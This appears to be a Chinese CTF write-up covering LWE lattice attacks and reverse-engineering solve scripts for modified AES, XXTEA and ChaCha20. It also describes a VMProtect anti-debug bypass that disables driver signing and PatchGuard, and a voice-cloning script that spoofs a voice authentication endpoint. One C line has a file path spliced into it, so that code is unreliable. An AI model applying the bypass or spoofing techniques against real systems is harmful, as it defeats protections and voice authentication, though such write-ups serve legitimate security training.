我们知道,$A$的每一行其实都是一个关于$s$的方程,只是这个方程是带error的,$e$中的每一个值对应$K$中的一行,也就是三个变量。也就是在上述展开方式的视角下,整个LWE式子其实对应了$n+3m$个变量:
- $s$对应$n$个变量
- $K$对应$3m$个变量
也就是说这实际上是一个$m$个方程,$n+3m$个变量的线性系统。直接求解的话,这个系统显然是欠定的,然而我们拥有一个重要的额外信息:其中$3m$个变量是01。那么接下来的事情就很简单,我们可以利用$m$个方程把$s$全部消掉(也就是把$s$全部用$K$对应的变量来表示),然后我们就可以得到只关于$3m$个01变量的多个线性等式,这就使得整个式子有规约的机会了。
这其实也就是之前分析过的primal attack的优化版本的本质
然而实际上手会发现这样依然找不到目标向量,所以还需要优化。
stage 2
优化基于上述分析中忽略掉的一点:$K$不仅是01矩阵,他有着更强的性质:
- $K$的每一行只可能是如下三个向量中的一个:$(1,0,0),(0,1,0),(0,0,1)$
对于这样的$K$,每一行可以从3个变量降维到2两个变量,方式如下:
由于对$K$的每一行$(x,y,z)$有:
$$
(x,y,z) = (1,0,0)
$$$$
or \quad (x,y,z) = (0,1,0)
$$$$
or \quad (x,y,z) = (0,0,1)
$$$$
e = (x,y,z)E = xE_0 + yE_1 + zE_2
$$可以提取出一个公共的向量$(1,0,0)$:
$$
(x, y, z) = (1, 0, 0) + r(-1, 1, 0) + s(-1, 0, 1)
$$
也就是:
$$
x = 1 - r - s
$$$$
y = r
$$$$
z = s
$$得到:
$$
e = (1-r-s)E_0 + rE_1 + sE_2
$$
可以发现此时$r,s$依然是01变量,并且只用这两个变量就可以表示$K$每一行的三种状态,这就是降维的含义。
这个思想在SEKAICTF2023的noisier-crc以及NKCTF2024的EZ-random都有出现过
所以实际上我们要规约的仅有$2m$个01变量,就友好很多,但实际上这样直接LLL和BKZ似乎还是规约不出来。
stage 3
最后一步需要点黑科技,stage2规约不出来是因为LLL或BKZ算法都是近似算法,受规约能力的限制,找不到我们需要的SVP。而格的维数仅有$2m+1$,因此可以在有限的时间内使用精确SVP查找算法、或者是效率更高的格基规约算法实现来找到需要的目标向量,这里使用的是blaster :)
找到SVP后也就等价于找到了$K$,也就找到了$e$,也就找到了$s$,就可以解出flag了。
这个思路显著的优点在于目标向量完全不依赖$p$,并且由于规约的永远是01向量,因此$p$的值越大反而越利于格规约。
LW5
相比于上一题的LW3,本题实际上是一个tradeoff:
check
函数ban掉了能直接线性映射到较短的error- 如果依然采用上一题的二进制展开,即使降维之后格也有$4m+1$维,不可行
而回顾这两种方法其实能找到一种共性:都是找到一个基$g$,使得其能够用较小的系数线性表示出所有可能的error。
比如对于直接的线性映射,可以写为:
$$
X_{5,1}\mathbf{g}_{1,1} + t\cdot \mathbf{1} = \mathbf{e}_{5,1}
$$
这里的$X$矩阵实际也就是$\mathbf{e}$经线性映射能达到的最小的$\mathbf{e}'$。
而对于二进制展开(不利用仿射子空间降维),可以写为:
$$
\begin{cases}
X_{5,5}\mathbf{g}_{5,1} + t\cdot \mathbf{1} = \mathbf{e}_{5,1} \\
t = 0
\end{cases}
$$
此时$X$矩阵即为每一行有且仅有一个1的01矩阵。
而利用仿射子空间降维后的二进制展开则可以写为:
$$
\begin{cases}
X_{5,4}\mathbf{g}_{4,1} + t\cdot \mathbf{1} = \mathbf{e}_{5,1} \\
t = e_1
\end{cases}
$$
此时$X$的每一行分别为$(0,0,0,0),(1,0,0,0),(0,1,0,0),(0,0,1,0),(0,0,0,1)$。
所以,当线性映射界不够而二进制展开格维数又过大时,可以考虑找一组相对来说维数较小、分量值也较小的基$\mathbf{g}$,从而尽量辅助最后的规约。当给定error时,这样的基可以用正交格的方法去找到;而本题则更简单,由于$\mathbf{e}$能自定义输入,因此只需要自行构造一个小$X$矩阵,并随机生成$\mathbf{g}$直至满足题目对于$\mathbf{e}$的限制即可。
此后的展开过程和LW3就完全一样了,同样在最后需要用到blaster或g6k来帮助找到短向量。
Reverse
Want2BecomeMagicalGirl
题目拥有两个frida检测点,一个在Java层,一个在flutter层,Java层检测Frida端口,flutter检测Java层是否被hook。
题目还有一个简单加壳考点,我姑且就叫他抽取壳吧(因为只有抽取壳这名字比较合适),nativeadd里.init_array有一段程序实现了自hook,分别hook了libart.so的 art::interpreter::DoCall<false,false>(art::ClassLinker *this)
和 art::OatHeader::IsDebuggable(art::OatHeader *__hidden this)
至于为什么hook这两个函数,我以后可以出一篇文章分享一下。
hook将会修改xxtea执行的流程,这部分逆向可能比较困难,我推荐的解题方法是smali trace。
因为大部分比赛都未见过此类型的安卓题目,我很难判断题目的难度等级,也许有部分被一把梭了也不一定,因此把题目归为中等正合适。
具体程序执行流程是:Flutter输入->加载libnative.so->修改字节码->判断libart.so指定位置有没有被修改->魔改aes加密->魔改Java加密->Flutter判断密文。
出题目时为了绕过release版本的运行走oat编译致使无法hook的情况,我花了很多时间读libart源码,转眼就到了ddl,实在没时间完善详细逆向的wp,在这给各位看wp的师傅致歉orz。
在Flutter层只有一个aes加密,很常规地魔改了sbox以及_addRoundKey()和_mixColumns()的执行顺序。
在Java层魔改了xxtea的执行流程把所有<<
变为了>>
,同时还魔改了轮加密轮数改为rounds = 6 + 52 * n
。
以下是解题脚本:
#include <inttypes.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// base64 加密
char base64[65] =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
int decodeBase64(char *str, int len, char **in) {
char ascill[129];
int k = 0;
for (int i = 0; i < 64; i++) {
ascill[base64[i]] = k++;
}
int decodeStrlen = len / 4 * 3 + 1;
char *decodeStr = (char *)malloc(sizeof(char) * decodeStrlen);
k = 0;
for (int i = 0; i < len; i++) {
decodeStr[k++] = (ascill[str[i]] << 2) | (ascill[str[++i]] >> 4);
if (str[i + 1] == '=') {
break;
}
decodeStr[k++] = (ascill[str[i]] << 4) | (ascill[str[++i]] >> 2);
if (str[i + 1] == '=') {
break;
}
decodeStr[k++] = (ascill[str[i]] << 6) | (ascill[str[++i]]);
}
decodeStr[k] = '\0';
*in = decodeStr;
return k;
}
#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
void AddRoundKey(unsigned char *plaintext,
unsigned char *CipherKey)
{
for (int j = 0; j < 16; j++)
plaintext[j] = plaintext[j] ^ CipherKey[j];
}
void SubBytes(unsigned char *plaintext, unsigned char *plaintextencrypt,
int count)
{
unsigned int row, column;
unsigned char Sbox[16][16] = {
0x20, 0x7b, 0x18, 0xa7, 0x42, 0x44, 0xd7, 0x4a, 0xcd, 0x32, 0xd1, 0xec,
0xf3, 0x81, 0xa5, 0x89, 0x0e, 0x91, 0x4b, 0xf0, 0xe9, 0x5d, 0x8d, 0xf5,
0x46, 0xfc, 0x31, 0x36, 0xb6, 0xac, 0x9b, 0xb9, 0x26, 0x09, 0xe6, 0x40,
0xd4, 0xb0, 0x51, 0x4f, 0x9c, 0x3e, 0xe7, 0x79, 0x30, 0x88, 0xb1, 0x3c,
0x7a, 0x5c, 0xd3, 0x14, 0x5a, 0xab, 0x56, 0xc0, 0x04, 0x29, 0xd0, 0x3b,
0x1f, 0xf9, 0xa3, 0x57, 0x00, 0x8a, 0x84, 0x16, 0xf4, 0x1a, 0xea, 0x64,
0xa6, 0xd6, 0x2e, 0xbe, 0x2f, 0x17, 0xc4, 0xe0, 0x1e, 0x02, 0x3a, 0x22,
0x8f, 0x9f, 0xcb, 0xa8, 0x2c, 0x67, 0x34, 0x25, 0xd5, 0xff, 0xef, 0xf6,
0xe2, 0xaa, 0xd9, 0x72, 0xfe, 0xce, 0xa1, 0x78, 0x85, 0x96, 0x2a, 0x77,
0xca, 0xc1, 0x37, 0x74, 0xa2, 0x5e, 0x6c, 0xfd, 0xb8, 0x4d, 0x7d, 0x70,
0xb3, 0xdd, 0xcf, 0x71, 0x73, 0x61, 0xf8, 0x19, 0x48, 0xe3, 0x63, 0x33,
0x3d, 0x15, 0xae, 0x98, 0xe5, 0x80, 0xbd, 0xbc, 0x82, 0xc6, 0x94, 0x01,
0xe4, 0xde, 0x06, 0x50, 0x95, 0xdf, 0x47, 0xf7, 0x90, 0x8b, 0x45, 0x9a,
0x6e, 0x07, 0xad, 0x1c, 0x35, 0x83, 0x68, 0x03, 0x6f, 0x5b, 0xb7, 0xfb,
0x1d, 0xc5, 0x10, 0x7c, 0xd8, 0x6a, 0xcc, 0x69, 0x8e, 0x24, 0x4c, 0x39,
0xb4, 0xa0, 0x0b, 0x52, 0xe8, 0xa9, 0xb2, 0x8c, 0x0a, 0xbf, 0x28, 0x86,
0x6d, 0xaf, 0xda, 0x41, 0xfa, 0x75, 0xb5, 0x43, 0xc3, 0x60, 0x62, 0x2b,
0x55, 0xf2, 0x9e, 0x2d, 0x12, 0x23, 0x0d, 0xdb, 0x6b, 0xc7, 0x38, 0x7f,
0x5f, 0x97, 0x08, 0xed, 0xe1, 0xbb, 0xee, 0x9d, 0xd2, 0x92, 0x49, 0x3f,
0xdc, 0x58, 0x87, 0xc2, 0xba, 0x99, 0xc9, 0x4e, 0xf1, 0x21, 0xeb, 0x13,
0x65, 0x59, 0x76, 0x0c, 0xc8, 0x05, 0xa4, 0x54, 0x93, 0x1b, 0x66, 0x11,
0x27, 0x53, 0x7e, 0x0f};
for (int i = 0; i < count; i++) {
row = (plaintext[i] & 0xF0) >> 4;
column = plaintext[i] & 0x0F;
plaintextencrypt[i] = Sbox[row][column];
}
}
void SubBytesRe(unsigned char *plaintext, unsigned char *plaintextencrypt,
int count)
{
unsigned int row, column;
unsigned char Sbox[16][16] = {
0x40, 0x8f, 0x51, 0xa3, 0x38, 0xf5, 0x92, 0x9d, 0xda, 0x21, 0xbc, 0xb6,
0xf3, 0xd2, 0x10, 0xff, 0xaa, 0xfb, 0xd0, 0xef, 0x33, 0x85, 0x43, 0x4d,
0x02, 0x7f, 0x45, 0xf9, 0x9f, 0xa8, 0x50, 0x3c, 0x00, 0xed, 0x53, 0xd1,
0xb1, 0x5b, 0x20, 0xfc, 0xbe, 0x39, 0x6a, 0xcb, 0x58, 0xcf, 0x4a, 0x4c,
0x2c, 0x1a, 0x09, 0x83, 0x5a, 0xa0, 0x1b, 0x6e, 0xd6, 0xb3, 0x52, 0x3b,
0x2f, 0x84, 0x29, 0xe3, 0x23, 0xc3, 0x04, 0xc7, 0x05, 0x9a, 0x18, 0x96,
0x80, 0xe2, 0x07, 0x12, 0xb2, 0x75, 0xeb, 0x27, 0x93, 0x26, 0xb7, 0xfd,
0xf7, 0xcc, 0x36, 0x3f, 0xe5, 0xf1, 0x34, 0xa5, 0x31, 0x15, 0x71, 0xd8,
0xc9, 0x7d, 0xca, 0x82, 0x47, 0xf0, 0xfa, 0x59, 0xa2, 0xaf, 0xad, 0xd4,
0x72, 0xc0, 0x9c, 0xa4, 0x77, 0x7b, 0x63, 0x7c, 0x6f, 0xc5, 0xf2, 0x6b,
0x67, 0x2b, 0x30, 0x01, 0xab, 0x76, 0xfe, 0xd7, 0x89, 0x0d, 0x8c, 0xa1,
0x42, 0x68, 0xbf, 0xe6, 0x2d, 0x0f, 0x41, 0x99, 0xbb, 0x16, 0xb0, 0x54,
0x98, 0x11, 0xe1, 0xf8, 0x8e, 0x94, 0x69, 0xd9, 0x87, 0xe9, 0x9b, 0x1e,
0x28, 0xdf, 0xce, 0x55, 0xb5, 0x66, 0x70, 0x3e, 0xf6, 0x0e, 0x48, 0x03,
0x57, 0xb9, 0x61, 0x35, 0x1d, 0x9e, 0x86, 0xc1, 0x25, 0x2e, 0xba, 0x78,
0xb4, 0xc6, 0x1c, 0xa6, 0x74, 0x1f, 0xe8, 0xdd, 0x8b, 0x8a, 0x4b, 0xbd,
0x37, 0x6d, 0xe7, 0xc8, 0x4e, 0xa9, 0x8d, 0xd5, 0xf4, 0xea, 0x6c, 0x56,
0xae, 0x08, 0x65, 0x7a, 0x3a, 0x0a, 0xe0, 0x32, 0x24, 0x5c, 0x49, 0x06,
0xac, 0x62, 0xc2, 0xd3, 0xe4, 0x79, 0x91, 0x95, 0x4f, 0xdc, 0x60, 0x81,
0x90, 0x88, 0x22, 0x2a, 0xb8, 0x14, 0x46, 0xee, 0x0b, 0xdb, 0xde, 0x5e,
0x13, 0xec, 0xcd, 0x0c, 0x44, 0x17, 0x5f, 0x97, 0x7e, 0x3d, 0xc4, 0xa7,
0x19, 0x73, 0x64, 0x5d,
};
for (int i = 0; i < count; i++) {
row = (plaintext[i] & 0xF0) >> 4;
column = plaintext[i] & 0x0F;
plaintextencrypt[i] = Sbox[row][column];
}
}
void ShiftRowsRe(unsigned char *plaintextencrypt)
{
unsigned char temp = 0;
for (int i = 0; i < 4; i++)
{
for (int j = 0; j < 4 - i; j++)
{
temp = plaintextencrypt[i];
for (int k = 0; k < 4; k++)
plaintextencrypt[i + 4 * k] = plaintextencrypt[i + 4 * (k + 1)];
plaintextencrypt[i + 12] = temp;
}
}
}
void ShiftRows(unsigned char *plaintextencrypt)
{
unsigned char temp = 0;
for (int i = 0; i < 4; i++)
{
for (int j = 0; j < i; j++)
{
temp = plaintextencrypt[i];
for (int k = 0; k < 4; k++)
plaintextencrypt[i + 4 * k] = plaintextencrypt[i + 4 * (k + 1)];
plaintextencrypt[i + 12] = temp;
}
}
}
unsigned char Mult2(unsigned char num)
{
unsigned char temp = num << 1;
if ((num >> 7) & 0x01)
temp = temp ^ 27;
return temp;
}
unsigned char Mult3(unsigned char num) { return Mult2(num) ^ num; }
void MixColumns(unsigned char *plaintextencrypt,
unsigned char *plaintextcrypt) {
int i;
for (i = 0; i < 4; i++)
plaintextcrypt[4 * i] =
Mult2(plaintextencrypt[4 * i]) ^ Mult3(plaintextencrypt[4 * i + 1]) ^
plaintextencrypt[4 * i + 2] ^ plaintextencrypt[4 * i + 3];
for (i = 0; i < 4; i++)
plaintextcrypt[4 * i + 1] =
plaintextencrypt[4 * i] ^ Mult2(plaintextencrypt[4 * i + 1]) ^
Mult3(plaintextencrypt[4 * i + 2]) ^ plaintextencrypt[4 * i + 3];
for (i = 0; i < 4; i++)
plaintextcrypt[4 * i + 2] =
plaintextencryp/home/pangbai/magical_girl/native_add/src/native_add.h4 * i] ^ plaintextencrypt[4 * i + 1] ^
Mult2(plaintextencrypt[4 * i + 2]) ^ Mult3(plaintextencrypt[4 * i + 3]);
for (i = 0; i < 4; i++)
plaintextcrypt[4 * i + 3] =
Mult3(plaintextencrypt[4 * i]) ^ plaintextencrypt[4 * i + 1] ^
plaintextencrypt[4 * i + 2] ^ Mult2(plaintextencrypt[4 * i + 3]);
}
#define xtime(x) ((x << 1) ^ (((x >> 7) & 1) * 0x1b))
#define Multiply(x, y) \
(((y & 1) * x) ^ ((y >> 1 & 1) * xtime(x)) ^ \
((y >> 2 & 1) * xtime(xtime(x))) ^ \
((y >> 3 & 1) * xtime(xtime(xtime(x)))) ^ \
((y >> 4 & 1) * xtime(xtime(xtime(xtime(x))))))
void MixColumnsRe(unsigned char *state) {
unsigned char a, b, c, d;
for (int i = 0; i < 4; i++) {
a = state[4 * i];
b = state[4 * i + 1];
c = state[4 * i + 2];
d = state[4 * i + 3];
state[4 * i] = Multiply(a, 0x0e) ^ Multiply(b, 0x0b) ^ Multiply(c, 0x0d) ^
Multiply(d, 0x09);
state[4 * i + 1] = Multiply(a, 0x09) ^ Multiply(b, 0x0e) ^
Multiply(c, 0x0b) ^ Multiply(d, 0x0d);
state[4 * i + 2] = Multiply(a, 0x0d) ^ Multiply(b, 0x09) ^
Multiply(c, 0x0e) ^ Multiply(d, 0x0b);
state[4 * i + 3] = Multiply(a, 0x0b) ^ Multiply(b, 0x0d) ^
Multiply(c, 0x09) ^ Multiply(d, 0x0e);
}
}
int CharToWord(unsigned char *character, int first)
{
return (((int)character[first] & 0x000000ff) << 24) |
(((int)character[first + 1] & 0x000000ff) << 16) |
(((int)character[first + 2] & 0x000000ff) << 8) |
((int)character[first + 3] & 0x000000ff);
}
void WordToChar(unsigned int word, unsigned char *character)
{
for (int i = 0; i < 4; character[i++] = (word >> (8 * (3 - i))) & 0xFF)
;
}
void ExtendCipherKey(unsigned int *CipherKey_word, int round)
{
unsigned char CipherKeyChar[4] = {0}, CipherKeyCharEncrypt[4] = {0};
unsigned int Rcon[10] = {0x01000000, 0x02000000, 0x04000000, 0x08000000,
0x10000000, 0x20000000, 0x40000000, 0x80000000,
0x1B000000, 0x36000000};
for (int i = 4; i < 8; i++) {
if (!(i % 4)) {
WordToChar((CipherKey_word[i - 1] >> 24) | (CipherKey_word[i - 1] << 8),
CipherKeyChar);
SubBytes(CipherKeyChar, CipherKeyCharEncrypt, 4);
CipherKey_word[i] = CipherKey_word[i - 4] ^
CharToWord(CipherKeyCharEncrypt, 0) ^ Rcon[round];
} else
CipherKey_word[i] = CipherKey_word[i - 4] ^ CipherKey_word[i - 1];
}
}
#include <stdint.h>
#define DELTA 0x9e3779b9
#define MX \
(((z >> 5 ^ y >> 2) + (y >> 3 ^ z >> 4)) ^ \
((sum ^ y) + (key[(p & 3) ^ e] ^ z)))
void btea(uint32_t *v, int n, uint32_t const key[4]) {
uint32_t y, z, sum;
unsigned p, rounds, e;
for (int i = 0; i < n; i++) {
printf("v:%d\n", v[i]);
}
for (int i = 0; i < 4; i++) {
printf("k:%d\n", key[i]);
}
if (n > 1)
/* Coding Part */
{
rounds = 6 + 52 * n;
sum = 0;
z = v[n - 1];
do {
sum += DELTA;
e = (sum >> 2) & 3;
for (p = 0; p < n - 1; p++) {
y = v[p + 1];
z = v[p] += MX;
printf("z:%d\n", MX);
}
y = v[0];
z = v[n - 1] += MX;
} while (--rounds);
} else if (n < -1)
/* Decoding Part */
{
n = -n;
rounds = 6 + 52 * n;
sum = rounds * DELTA;
y = v[0];
do {
e = (sum >> 2) & 3;
for (p = n - 1; p > 0; p--) {
z = v[p - 1];
y = v[p] -= MX;
}
z = v[n - 1];
y = v[0] -= MX;
sum -= DELTA;
} while (--rounds);
}
}
void decAES(unsigned char *PlainText) {
int i = 0, k;
unsigned char CipherKey[16] = {122, 37, 197, 36, 198, 51, 76, 48,
243, 98, 175, 172, 63, 35, 3, 213},
CipherKey1[16] = {122, 37, 197, 36, 198, 51, 76, 48,
243, 98, 175, 172, 63, 35, 3, 213},
PlainText1[16] = {0};
memcpy(PlainText1, PlainText, 16);
unsigned int CipherKey_word[44] = {0};
for (i = 0; i < 4; CipherKey_word[i++] = CharToWord(CipherKey, 4 * i))
;
for (int i = 0; i < 10; i++) {
ExtendCipherKey(CipherKey_word + 4 * i, i);
for (k = 0; k < 4;
WordToChar(CipherKey_word[k + 4 * (i + 1)], CipherKey + 4 * k), k++)
;
}
AddRoundKey(PlainText1, CipherKey);
for (i = 0; i < 9; i++) {
SubBytesRe(PlainText1, PlainText, 16);
for (k = 0; k < 4;
WordToChar(CipherKey_word[k + 40 - 4 * (i + 1)], CipherKey + 4 * k),
k++)
;
ShiftRowsRe(PlainText);
MixColumnsRe(PlainText);
AddRoundKey(PlainText, CipherKey);
for (k = 0; k < 16; PlainText1[k] = PlainText[k], k++)
;
}
ShiftRowsRe(PlainText);
SubBytesRe(PlainText, PlainText1, 16);
AddRoundKey(PlainText1, CipherKey1);
memcpy(PlainText, PlainText1, 16);
}
int hexToChar(const char *hex, unsigned char *output) {
size_t len = strlen(hex);
if (len % 2 != 0) {
return -1;
}
for (size_t i = 0; i < len; i += 2) {
sscanf(hex + i, "%2hhx", &output[i / 2]);
}
return len / 2;
}
unsigned char key[16] = "16929";
unsigned char mm[] =
"8sAFX45zT7uc0vSUyFNNly1h/d5zTt89tV3kcVr5P5n7lRKPyYtxg31zYNB2lPV0c5nf/x2/"
"IK94XV9Ufs9XfaDG5IXxMlZy+Z2nE+ZZRFBSpMoKzQXfUq2TSjJJfQxV";
int main() {
char *mm2;
int len = decodeBase64(mm, strlen(mm), &mm2);
printf("base64decode len: %d\n", strlen(mm2));
printf("xxtea block: %d\n", -((len >> 2) + ((len & 3) != 0)));
btea((uint32_t *)mm2, -((len >> 2) + ((len & 3) != 0)), (uint32_t *)key);
printf("xxtea decode: %s \n",mm2);
unsigned char mm3[100] = {};
int len2 = strlen(mm2) / 2;
hexToChar(mm2, mm3);
for (int i = 0; i < len2; i += 16) {
decAES(&mm3[i]);
}
puts(mm3);
}
catfriend
打开题目还是很简单的,只有28个函数,但是Macos操作系统,增加了难度
只有一个chacha20算法,但是进行了魔改,轮数、还有QR函数,xor使用VM实现,VM也不难。考察对Chacha20算法的理解,也希望选手可以学习一种新的算法,RC4已经考烂了。反调试是很简单的ptrace,混淆也easy。
解密脚本其实可以参考加密的过程,因为加密和解密都是差不多的算法,跑一遍就出来啦。
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include "chacha20.h"
int hex2bin(const char *hex, uint8_t *out, size_t maxlen) {
size_t len = strlen(hex);
size_t i;
for (i = 0; i < len / 2 && i < maxlen; i++) {
sscanf(hex + 2*i, "%2hhx", &out[i]);
}
return i;
}
int main() {
const char *hex_cipher = "574d4354467b35613365386632622d316337642d346136662d623839652d3064336332663161346235637d";
uint8_t cipher[64] = {0};
size_t cipher_len = hex2bin(hex_cipher, cipher, sizeof(cipher));
// 密钥和 nonce 全 0
uint8_t key[32] = {0};
uint8_t nonce[12] = {0};
uint64_t counter = 0;
struct chacha20_context ctx;
chacha20_init_context(&ctx, key, nonce, counter);
chacha20_xor(&ctx, cipher, cipher_len);
printf("解密结果: %s\n", cipher);
return 0;
}
appfriend
- Java层入口定位
发现是native 逆向,解包分析so
看到是sm4
绕过检测(在init段)
提取秘钥
01 23 45 67 89 ab cd ef,fe dc ba 98 76 54 32 10
提取密文
db e9 8e 0a d4 7e d6 58 74 1c d3 8e f8 59 59 85 81 77 d9 f3 a8 f9 0f 24 cf e1 4f d1 1a 31 3b 72 00 2a 8a 4e fa 86 3c ca d0 24 ac 03 00 bb 40 d2
进行解密
VideoPlayer
反调试处理+VMP脱壳Dump
法1:TitanHide过反调试
这边反调试使用TitanHide驱动,Github可以搜索到相关项目,运行TitanHide.sys需要配置环境。
使用VKD工具的target64中的vminstall在虚拟机中运行安装,会多出来一个引导启动,重启电脑选择新的引导启动就可以,他会进入内核调试模式,禁止驱动强制签名以及关闭PG,也就可以让我们加载titanhide驱动。
运行titanhide.sys,将titanhide的dbg相关插件文件放入dbg的plugins文件夹中,运行dbg即可调试VMP程序。
法2:CheatEngine Veh Debugger
运行软件,CE附加,调试选项选择Veh debugger,即可直接调试VMP保护的程序。
寻找OEP
断点GetSystemTimeAsFileTime
,运行,第二次断下后,栈的第二个返回地址就是OEP,这也是exe程序VMP寻找OEP的通法。
OEP:
RIP修改到OEP,使用Scylla插件Dump程序。
主流程分析
IDA加载Dump的程序,可以通过字符串定位到Login页面代码,但是会发现Login按钮后调用的相关登入Check函数,被VMP虚拟保护了,所以无法正向从这边分析。
题目说存在后门账户,猜测会通过strcmp判断用户名或密码文本(这边通过断点用户名或密码的内存进行后续分析也可以)
随便输入用户名和密码后,断点strcmp,点击Login按钮断下,发现会判断一次用户名是否为WMAdmin_#6&JZZ%B
,证实确实存在后门用户名判断,但是目前还是登入失败。
字符串这边可以看到一些系统信息相关字符串。
定位到字符串相关调用函数,再查函数的交叉调用,发现这边会调用多个引用到系统字符串相关函数。
dbg定位到调用这些函数的主函数,断点,发现正常输入随机用户名和密码并不会触发,用户名输入后门用户名时会触发。
这个获取系统信息的函数会断下,执行到ret,发现是获取了多个系统信息字串,然后拼接到一起返回。
单步返回到这边,分析这部分代码,发现是将获取到的系统信息字串进行MD5,然后逐字节push_back到一个vector容器中。
执行到push_back之后的Call,让所有数据添加完毕,push_back的第一个参数rcx就是容器对象本身,也就是[rsp+80]
,对[rsp+80]
下8字节的硬件断点,运行,会断到下面这个函数。
单步运行到返回,来到如下函数,复制部分二进制48 63 44 24 24 48 89 44 24 50 48 8B 8C 24 D0 00 00 00 E8 E9 92 FF FF
,到IDA搜索字节找到对应函数进行反编译分析。
可以发现这边是将刚刚系统信息MD5的Vector数据传入进来然后逐个与v5数组比对,如果相等则返回1,不等则返回0。
结合题目信息,可以知道该软件登入后门用户的时候还会对机器进行校验,如果是指定机器才会登入成功。
尝试运行到ret,将函数返回值rax修改成1。
结果动调发现上面MD5数组在后续仍被访问,最后会到这边,v34就是上面的那个数组对象,第一个箭头函数是判断数组是否为空,如果为空则报错账号密码错误,如果不为空则把数据复制给a1参数的Vector数组。
Vector判断是否数据为空:
这边就可以该程序登入的大概流程:
-
输入账号、密码
-
判断是否为后门账户名
-
获取机器信息MD5,储存到Vector数组
-
返回Vector数组,如果账号密码错误则Vector数组为空,如果后门账号登入失败也同样为空。
-
将返回的MD5信息数组数据复制到登入函数的参数Vector容器中。
上面操作流程中我们将检验机器的那个函数返回值改成了1,也就是true,让他通过后门登入,所以返回了MD5数据数组。
IDA字符串可以找到"Open File"和"Play Video"相关字串,跳转到调用函数,就可以看到这个是登入后的页面相关函数。
"Open File"下面那个Call就是初始化结构,打开对话框的。
通过调试该页面函数,发现第一个箭头就是将对话框里面选中的文件目录绘制到窗口上,上面的(255,255,255,255)就是字体颜色,第二个箭头处判断选中文件目录是否为空,如果不为空则返回1,为空则弹对话框要求选中一个.mp0后缀的文件并返回0。
通过相关字符串查交叉引用定位到Player Page页面,这边也能看到打开视频文件的错误信息,复制函数部分代码字节48 89 54 24 10 48 89 4C 24 08 56 57 48 81 EC B8 01 00 00 B8 04 00 00 00
,到dbg搜索,对函数头下硬件断点。
选择video.mp0文件,然后点击Play按钮断下,发现该函数的参数一rcx是上面返回的MD5 Vector数据对象,进入两层就可以看到之前得到的MD5数据。
IDA这边可以看到判断是否通过a2文件路径的读入文件成功,然后传入文件数据以及a1参数(MD5数据)调用了一个函数,动调可以发现这边第三个参数就是返回的数据,那么这边就可以猜测就是视频数据解密函数。
通过题目可以知道该视频播放器并没有开发完成,在下面也看不到对该返回数据操作的相关代码,以及播放视频相关代码,所以就只能断在上面函数调用,单步执行,然后拿到第三个参数的数据,手动导出到文件。
题目可知该视频是由后门账户加密的,且解密的时候有传入系统信息MD5数据,所以要在MD5函数调用处将数据修改成上面校验的目标数据,也就是后门账号电脑系统信息MD5数据。
这样后续解密的时候就会传入后门账号电脑系统信息MD5数据,成功解密由后门账号加密的视频。
断在该处记下参数三r8的地址,单步执行后,跳转到r8地址,将md5数据修改成B4 EC ED FE 29 6E DE 7B 93 84 57 AF 61 9C 83 4B
。
复制IDA中的调用解密函数的汇编字节4C 8D 05 C1 9D 02 00 48 8B 94 24 D0 01 00 00 48 8D 0D 92 9D 02 00 E8 7D 35 F9 FF
,dbg搜索定位到解密函数调用,断下。
选择video.mp0文件,点击Play按钮断下,记下参数三r8地址,单步执行Call,然后等待解密完成,跳转到r8地址。
可以看到r8这边还是一个Vector结构,第一个是数据头指针,第二个是数据尾指针,相减就是数据大小,这边计算得到为11904
字节大小。
进入第一个地址,就可以看到成功解密出来的相关mp4文件数据。
使用Scylla插件,File->Dump memory,填入数据头指针地址,以及数据大小,进行Dump。
Dump得到mp4文件,打开就可以看到输入Flag的视频,拉到最后就是完整Flag。
Misc
Shopping company & phishing email
指路出题人博客 https://www.snowywar.top/4622.html
Voice_hacker
打开题目链接。是一个音频认证系统,要求说出CTF,启动通过认证来获取flag:
通过抓包可以发现会发送一个音频出去,那个认证接口需要先记住:
然后打开提供的流量文件,发现是一堆udp的数据:
流量头特征和接收的端口可以知道这是个RTP的流量,这个流量一般由于电话协议,这里我们decode as把udp流量选择为RTP
然后电话中RTP流拿到音频
将音频提取后交给[GPT-SoVITS](RVC-Boss/GPT-SoVITS: 1 min voice data can also be used to train a good TTS model! (few shot voice cloning))(不唯一,其他的AItts也可)处理音频,训练音频等(详细步骤可以看GPT-SoVITS的操作文档)
最后输出“C T F,启动!”生成伪造音频即可,然后这里用上前面的接口,直接发送wav过去:
import requests
url = "http://url/api/authenticate"
wav_path = r"audio.wav"
headers = {
"Accept-Language": "zh-CN,zh;q=0.9",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36",
"Accept": "*/*",
"Origin": "http://url",
"Referer": "http://url/",
"Accept-Encoding": "gzip, deflate, br",
"Connection": "keep-alive"
}
files = {
"audio": ("recording.wav", open(wav_path, "rb"), "audio/wav")
}
response = requests.post(url, headers=headers, files=files)
print("Status Code:", response.status_code)
print("Response Text:", response.text)
就可以得到flag
GitHacker
这里直接使用git log
命令是拉不全log日志的,做了部分回滚的操作
git reflog
可以看到完整的日志
简单分析一下,主要是做了
1.上传一个加密文件
2.设置密码
3.改变密码
4.重新上传文件
5.回滚
先自由发挥把password和两个加密文件image.jpg、image.png拿到,我这里是用git checkout
分析一下image.png,乱七八糟的数据
加上十分规整的文件大小
根据经验就可以猜出来加密方式是vc容器
很多选手反应这个加密方式不清楚,个人出题时感觉这偏常识性知识点就并没有在题目里多给线索
现在想想也许把
commit
换成encryptedContainer会更好,但也稍微过于明显
直接使用之前获取的密码EasyP@ssw0rd_from_Git_History挂载加密容器image.png,得到flag1
然后根据提示及结合log
可以猜测,flag2
应该就在image.jpg里了
但是密码被修改过直接同样密码挂载肯定失败
但通过日志描述,加上一点实际操作可以猜测,出题人在修改密码的时候是直接修改了vc加密卷密码(事实上现实里大部分也都是这么操作的)
这样子修改密码会导致vc的密码复用(称不上漏洞,更像是安全问题)
通过对比两个容器的文件内容也可以印证这一点。除了容器卷头的部分数据被改变了,后面绝大多数的内容并没有变化
而导致密码复用的前提要先理解vc的卷加密原理
vc在一开始创建加密卷的时候会设定一个主密钥Masterkey
